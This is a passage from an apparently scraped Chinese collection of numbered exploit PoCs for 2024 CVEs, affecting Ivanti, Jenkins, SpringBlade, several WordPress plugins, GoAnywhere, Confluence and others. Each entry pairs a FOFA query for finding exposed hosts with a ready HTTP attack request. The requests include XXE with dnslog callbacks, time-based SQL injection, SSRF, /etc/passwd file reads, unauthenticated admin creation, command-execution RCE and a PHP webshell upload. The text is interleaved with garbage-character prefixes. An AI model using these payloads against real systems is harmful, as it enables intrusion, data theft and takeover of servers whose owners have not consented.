: l! Q0 S. b$ n/ L3 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
: M# a9 L% `+ d3 k/ _- E3 t3 ZConnection: close
Content-Length: 792
+ y% b) x) C8 O9 f: |Accept-Encoding: gzip
( a* |9 y9 P" j& x
/ ~: Q! v; |1 Q4 e' f/ q4 w/ h<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
( g0 r! M1 a0 S# o2 v4 Z
4 H6 z9 ]# T- z' {2 M8 }0 `$ t103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
5 J1 q- w6 w6 K* v# C9 D0 [5 @5 zFOFA：body="welcome.cgi?p=logo"
. |8 _. Z) @1 s2 nPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
! E, ]7 o- o1 I) W' v, _# tHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
- V" W* u  w6 v% T+ Y& o1 yContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

. a" ^* ^" ~% S& V. w. u0 B
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
6 _3 z. V" w# u3 h8 Y<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


% l7 O/ ?. l: p4 ?104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. @6 S, y$ _9 RCVE-2024-0569
- n  r/ @( Y( \$ ]$ AFOFA：title="TOTOLINK"
8 i! F8 c1 k, q9 APOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
) _$ v# `6 c/ i. K1 VAccept:application/json,text/javascript，*/*;q=0.01
$ G# B( W: F4 F  v/ E6 m+ y; EX-Requested-with: XMLHttpRequest
# p( a/ s( k/ V# kUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
" i7 P8 [0 h" N2 PContent-Type: application/x-www-form-urlencoded:charset=UTF-8
, m  I- I! m+ ^. cOrigin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
- j7 s" m& X' c& VAccept-Encoding:gzip,deflate
' K8 X2 z  @1 |( q9 EAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
. h6 D2 A) `2 W- @( nConnection:close

{
1 Q/ ], c! r" t2 r! S8 s( I"topicurl":"getSysStatusCfg",
"token":""
7 P, A+ P) C5 A( e) D- M}
+ a1 g9 B9 o% k& D" ?
3 B* E3 J8 _) X$ P3 d105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
6 q4 \; @9 w/ M2 z: @http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
, _  a) ~' l' g# }1 T
106. SpringBlade dict-biz/list SQL 注入
2 E! d- _/ ^8 M6 @FOFA：body="Saber 将不能正常工作"
; |4 y4 X8 u) W5 d! n2 x: [* p6 o3 ZGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 ^& |8 I4 y4 {; }0 E6 }Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
' A6 y' U7 e" O/ E. ]- s9 hAccept-Encoding: gzip, deflate
' B! j- _: D0 I, jAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
; c/ D7 |9 e  G; yFOFA：body="https://bladex.vip"
4 J8 J/ f! D: N  W& G* k. NGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ ]$ Y1 u5 K7 I2 d% }9 }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% \! o9 z; l0 G1 fBlade-Auth:替换为自己的
Connection: close
( }6 w1 K$ D2 I" ~; n3 ~# N

3 i2 n9 a3 Z+ @/ h" g; c$ U2 R108. D-Tale 3.9.0 SSRF
. E4 F0 M  l9 MCVE-2024-21642
2 }8 C. ^$ D  l) I. oFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
6 f5 A, Q- N; v7 ]- x; ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
. j$ g/ T6 V8 d& E1 {Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ _/ e" W& Z2 K# h+ n; i9 ~, O2 ^Connection: close
' H# X+ @8 h) H9 ^

/ h4 {6 a1 K2 s& G109. Jenkins CLI 任意文件读取
9 B3 E1 I1 ]$ v( _5 o- F; ZCVE-2024-23897
  ^- b. D3 `* hFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
7 m6 z. `3 s! n9 s5 r+ l- _Content-type: application/octet-stream
6 `+ }( g5 D5 U- S1 y. j- X5 A" rSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
  K) r; P3 U) V" ESide: upload
Connection: keep-alive
6 d( H$ E; ]( V) k  K3 KContent-Length: 163

" q* p5 P8 v- s% m0 t6 Y7 W& w6 Bb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

. u2 u$ V: v; L
POST /cli?remoting=false HTTP/1.1
" ?+ L6 N8 c2 I7 C& L2 \( EHost:
# N  f9 p' e* G% C4 D3 @5 U* TSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
! i3 @: g' U- N9 ~9 x: mContent-Length: 0


: @' B5 E& y+ ZERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# [, E% F% P' w! @7 x& \java -jar jenkins-cli.jar help
3 }! ?1 t1 B: \& d5 O[COMMAND]
+ c( Z  C5 T8 L% R0 j8 FLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

8 ~8 K8 N$ T6 P
110. Goanywhere MFT 未授权创建管理员
4 e5 _1 E* ^+ ]; r* oCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
9 J1 d6 P+ z) I; e8 z- j* tHost: 192.168.40.130:8000
# d+ @# J  a4 B9 i% y, vUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
9 f5 Y: X# Z& v$ W8 |Connection: close
Accept: */*
: j1 Y5 l1 P- g" Y8 ~& HAccept-Language: en
- d$ Q$ I5 R0 g; J/ Y) F; k3 J/ MAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
6 h+ |$ ?. }2 v) R! W, ICVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
) ^9 Z3 j0 `+ V: M' R: kAccept-Language: en
+ T6 a* {) r$ _Accept-Encoding: gzip
1 @/ A* V! G* t9 A; f# \

- R4 x4 D) }. \112. WordPress Plugin NotificationX SQL 注入
8 P- d. }' y9 O; D# t7 eCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
9 ^  @$ \0 P  f' m2 HPOST /wp-json/notificationx/v1/analytics HTTP/1.1
; {  ^7 l' J7 x" q/ UHost: {{Hostname}}
, q9 b* I: ]; z: ?Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

/ g, b0 i# g- y" k! C0 m4 t
1 O* p1 ]7 V# A8 m5 M113. WordPress Automatic 插件任意文件下载和SSRF
* d0 ]6 |3 N% v6 O" ~3 h& W2 QCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
2 |% J7 K; S6 y- K: `7 b4 F# QGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
, m' E9 ?, f, Q: I8 C1 OUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
8 n/ A2 A# A! E: [

+ m& u, U8 q2 I0 v3 @114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
4 H3 N1 v) w3 c' o2 t4 j* kUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 F  A* S& a( Y' {3 s; BAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
) |, {" q& d' A: i- g1 mConnection: close
5 D4 t7 Z! x$ Z# v" `

115. WordPress Bricks Builder <= 1.9.6 RCE
" h; A- ^# v0 }CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
) q5 n5 @: g. |. M8 T# J第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
& r' n$ q0 P- }" O- L' E) u; j5 mConnection: close
Accept-Encoding: gzip
9 E2 r4 y: D0 A* i

: |4 U4 e/ w2 g; d/ K/ ?6 G9 p第二步替换nonce值，执行命令
: ^; e, ?4 a% c+ m) WPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
: q3 g: J4 J8 kUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
. G# h9 Q8 Z1 T9 `3 ?8 O: tContent-Type: application/json
5 t  S/ V! i. ?0 V7 l2 ~+ |% ~Accept-Encoding: gzip
: M  d0 ]" t2 W
{
9 [* `! t9 R# }- i"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
( F! D9 }3 i5 D    "settings": {
      "hasLoop": "true",
      "query": {
, x6 m3 B+ a  z' ?8 Z        "useQueryEditor": true,
( D" Q2 r7 D) x! [6 u7 t  W        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
9 _0 b: Y: m2 a, _: a: @( y# u      }
    }
' {6 b' x+ T7 p* }5 t  }
0 k+ @+ o* v- y; h" x" t* B- N}

; N9 f5 W2 b6 O  t4 ^
$ f5 d$ Z1 _  a$ Q6 H" v7 s! G116. wordpress js-support-ticket文件上传
7 f0 k$ B# Y2 l3 ]& yFOFA：body="wp-content/plugins/js-support-ticket"
, g5 B1 g- t0 O0 FPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
- e' v2 R( w. L/ p6 b" s) [Content-Type: multipart/form-data; boundary=--------767099171
% C' j1 y- q' i$ kUser-Agent: Mozilla/5.0

----------767099171
, S0 a1 {8 j- {* R- @# T3 tContent-Disposition: form-data; name="action"
8 q! a% s4 Z. zconfiguration_saveconfiguration
5 m, U; J  x1 {----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
5 F- E: o8 T0 j+ b% G3 P7 V----------767099171
; z# V& e2 |+ LContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
  q( N. e& q" G; {/ F; M

. Z/ B, [" }6 {117. WordPress LayerSlider插件SQL注入
& ^% A. P7 A8 N: Tversion：7.9.11 – 7.10.0
+ ?; k- B# j7 ?: e9 O7 gFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
9 W/ E" z* y+ O( A* DHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 h/ \6 ^( ^6 K' p, n  ]# k# n$ i4 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 N) J$ }* ^, m' [Accept-Encoding: gzip, deflate, br
: a' l! r) D' m) YConnection: close
) e9 g; f" D# j. U: s* nUpgrade-Insecure-Requests: 1


+ s2 w9 V8 b8 ]118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
$ `# ^; ^: E9 b8 MPOST /Tool/uploadfile.php? HTTP/1.1
2 S( @! P3 L3 e, H  M  O4 Y5 lHost: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: F0 D( `+ ?9 Q2 w# E# s! oAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
5 g% S/ z2 H' D3 cReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
. Z( u6 V4 z' }; \Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
' e  F3 b* |6 [+ S  @+ F% hSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------13979701222747646634037182887
8 w- e# H% G( d9 x" y  G) g# F% IContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
3 N' B0 Y* B' ~' D
<?php
0 c8 z& J: v1 o( G8 |$ Rsystem($_POST["passwd"]);
2 j; j- _2 z' P$ ]0 d# V?>
-----------------------------13979701222747646634037182887
, U1 T5 q1 @3 p! u9 \3 TContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
* Q5 S, `7 L/ u; \5 k# B
1 c5 A) O2 ]1 f! E- `5 f
8 F* Z, ^+ q% o3 u' B& i- P0 ?访问/home/src.php
9 a' P, M6 Q1 K4 p  u
3 ?% `' D7 r. G& E5 E1 [. o: \119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
4 C7 a6 v. c; \7 S- o( C' V先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
6 S. A* t9 @4 aHost: x.x.x.x
; b9 B, S: M% u. q4 I! ^Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
( ~$ G$ J5 j$ I( {1 m$ u3 L( D& g$ ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
0 m4 t7 `) k* g$ p2 n4 @' W: EAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 S' o! [3 ]8 }# u1 |2 NAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
0 T3 P- U1 j$ K% z0 uContent-Length: 109
% l! d; K. X$ w7 X3 BOrigin: https://58.18.133.60:8443
2 D7 a* y9 a0 g6 \+ ?) vReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
$ S) w5 B; D9 `4 [Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
* I+ o- I$ W% h$ h, C' g1 ZX-Forwarded-For: 1.1.1.1
# Z& `: f1 w4 h7 f7 T! `/ C8 NX-Originating-Ip: 1.1.1.1
4 a# l0 E9 \% r1 pX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
) B1 Q: L4 S9 ]3 i  AConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
5 H" @8 I! M9 B, M; ~

/ b- m8 c/ b0 A, X120. 北京百绰智能S40管理平台导入web.php任意文件上传
0 Z+ X! k/ g% t1 P& SCVE-2024-1253
5 B0 v) q# u. OFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
2 u9 k- H' ?! MCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
4 U* M; x& B8 n* t- y9 _User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
' z: _$ L4 C; a' H0 v8 b* _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* D: Q* i% m5 i' EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 ]6 O8 J5 Q  B0 D2 \Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
* x! y, |( r' y8 e9 uContent-Length: 597
- W& ~" P# n2 POrigin: https://ip:port
2 q" Q+ c; c7 |6 B/ ^Referer: https://ip:port/sysmanage/licence.php
1 X0 K" T0 o; m) r. i# a. p' }. uUpgrade-Insecure-Requests: 1
& g  ^. i; \2 dSec-Fetch-Dest: document
+ p& _0 R4 g' U: q& j$ E+ F- FSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
/ g! T7 T* P- `Sec-Fetch-User: ?1
Te: trailers
Connection: close
2 ]$ ^8 X. L" v1 w& y5 ]' F
-----------------------------42328904123665875270630079328
% Y9 S: t& m% q* d, o( u. d$ X/ oContent-Disposition: form-data; name="file_upload"; filename="2.php"
3 [4 M* v" n  T1 J3 E' {9 j# OContent-Type: application/octet-stream

+ w9 }, q! ]+ }5 R: v, M) ]<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

3 E* T  v) d, I1 r7 B* d1
-----------------------------42328904123665875270630079328
7 w0 o" {8 g, e: f& EContent-Disposition: form-data; name="1_ck"

1_radhttp
+ w- o# ^  ^) I/ f& ^3 I  u. m-----------------------------42328904123665875270630079328
, Y' [: o5 U5 t5 i2 a7 jContent-Disposition: form-data; name="mode"

# ^" D6 r7 i1 Z- q# l/ simport
-----------------------------42328904123665875270630079328
3 L. T" n( i: ]" Z: @2 x) }9 q( q$ `

6 J7 j7 Q% R* D, N$ ~文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
: x; R' C- L7 _0 hFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
  }5 o6 G1 p! ~: ]& {Host: 192.168.40.130:8443
7 O3 c+ {+ S& G: r# a" GCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
! S5 U1 W( p; f0 S! e$ ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 H% J0 p6 L# x+ e/ w/ AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 Y, y/ f. @& Y, f" i0 `- mContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
& H5 I# N% d( e0 jOrigin: https://192.168.40.130:8443
+ o8 ^3 o0 z( X" u2 S  IUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 p, R4 j2 A. WSec-Fetch-Mode: navigate
2 D4 x% r/ P- j4 v. w/ s, h% OSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
  L6 W' g/ V5 dConnection: close

5 t5 H8 y& D8 a$ C8 B-----------------------------42328904123665875270630079328
# \  r  [) V- ]- z* \4 j# XContent-Disposition: form-data; name="web_img"; filename="1.php"
: `3 ?. T1 x2 U0 d- |; L# iContent-Type: application/octet-stream

( i- i  n* y& T/ ^2 `3 X<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
2 q! J; Z% b, l/ a7 H2 R, a( Q9 H
1
2 E  H/ o" Z+ o3 x0 Y6 [-----------------------------42328904123665875270630079328
1 j! l8 U6 s: L- ~Content-Disposition: form-data; name="1_ck"

, L+ p7 l& i8 p1 f1 O2 X1_radhttp
-----------------------------42328904123665875270630079328
6 w; }3 G8 U# x% E1 U: aContent-Disposition: form-data; name="hidwel"

. T- ]7 z2 X/ O4 Mset
-----------------------------42328904123665875270630079328

- H3 S8 `( C" `. l  c) v4 F9 V- Y
boot/web/upload/weblogo/1.php
) y$ I4 R0 x0 i! u! ]
4 U% N6 h0 \) p+ X: J. ^7 i- D122. 北京百绰智能s200管理平台/importexport.php sql注入
8 ]! S2 ]5 P" YCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
2 Q/ G& z4 \9 F! LHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
1 {# P( d  |! U0 O7 L) GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) x- O" Y  ?0 e8 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% u  u+ P  P2 N) o" }* d6 rAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
% \! r5 N$ c% F) U( N% ASec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! b5 R0 y* @( D0 l9 `9 ~* RSec-Fetch-Site: none
Sec-Fetch-User: ?1
5 g* W; h7 [4 I, x8 L# BTe: trailers
0 Y$ D- m3 Y  E7 UConnection: close
! }# |/ h( z+ ^. V+ {# p1 D
5 B4 z' S! `  A8 D+ o# D0 E
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
2 W- l# {0 K4 D( J' j$ THost: localhost:8090
( S6 I6 E+ K4 z" H4 F/ e# NAccept-Encoding: gzip, deflate, br
3 T3 ]6 ~, O2 U0 TAccept: */*
. S) {" l9 w2 IAccept-Language: en-US;q=0.9,en;q=0.8
' ^) h+ f, L9 B/ D, B3 }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
& t& r- u9 K  A( i' K5 J' a
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

  W8 c; q, s# @/ h5 `
% `- U, p+ A, \3 }1 H" ?124. 湖南建研工程质量检测系统任意文件上传
! d; [$ o% U3 q4 E; A! U: J% ^3 GFOFA：body="/Content/Theme/Standard/webSite/login.css"
: U3 o7 u5 ~+ F2 L* bPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
; [& }( n& F0 Y7 g+ y$ EUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
, U; v& F- _# RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+ v1 @, M4 Y9 S5 F% bAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
# g' g9 z3 ]2 Z% Q& ^; d
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
1 Q# U2 l- ]& j, A

/ y7 A0 _) A. f1 |8 Q0 ~* l2 p8 thttp://192.168.40.130:8282/Scripts/abcgcg.aspx
/ r5 B) ]+ ?7 {/ e
125. ConnectWise ScreenConnect身份验证绕过
  C0 t9 E0 \: _" G$ Z4 t  sCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
# z  n/ d5 _( R+ X# d. N' `, i

使用方法
. v3 K1 b3 L2 r- `! E+ @. fpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
0 h* b( W" h  |5 C4 k1 H
1 {7 x6 [6 U9 E: A& Z4 f$ E
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
; n' @+ ]) U- J6 h6 EFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
8 ^. e$ H6 {+ |+ M% nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 V* d- h  f9 b$ D9 |Connection: close
Accept: */*
. P. J8 g8 V0 d2 uAccept-Language: en
5 f0 k6 u% L7 P- E9 K: xAccept-Encoding: gzip
1 Z: C4 x% P& V9 z: W' w. h6 }; N
) x7 Q& r7 d7 p+ G: a) Q2 r9 C( M
127. 广联达Linkworks DataExchange.ashx XXE
8 b5 q6 D8 h, S+ y; xFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
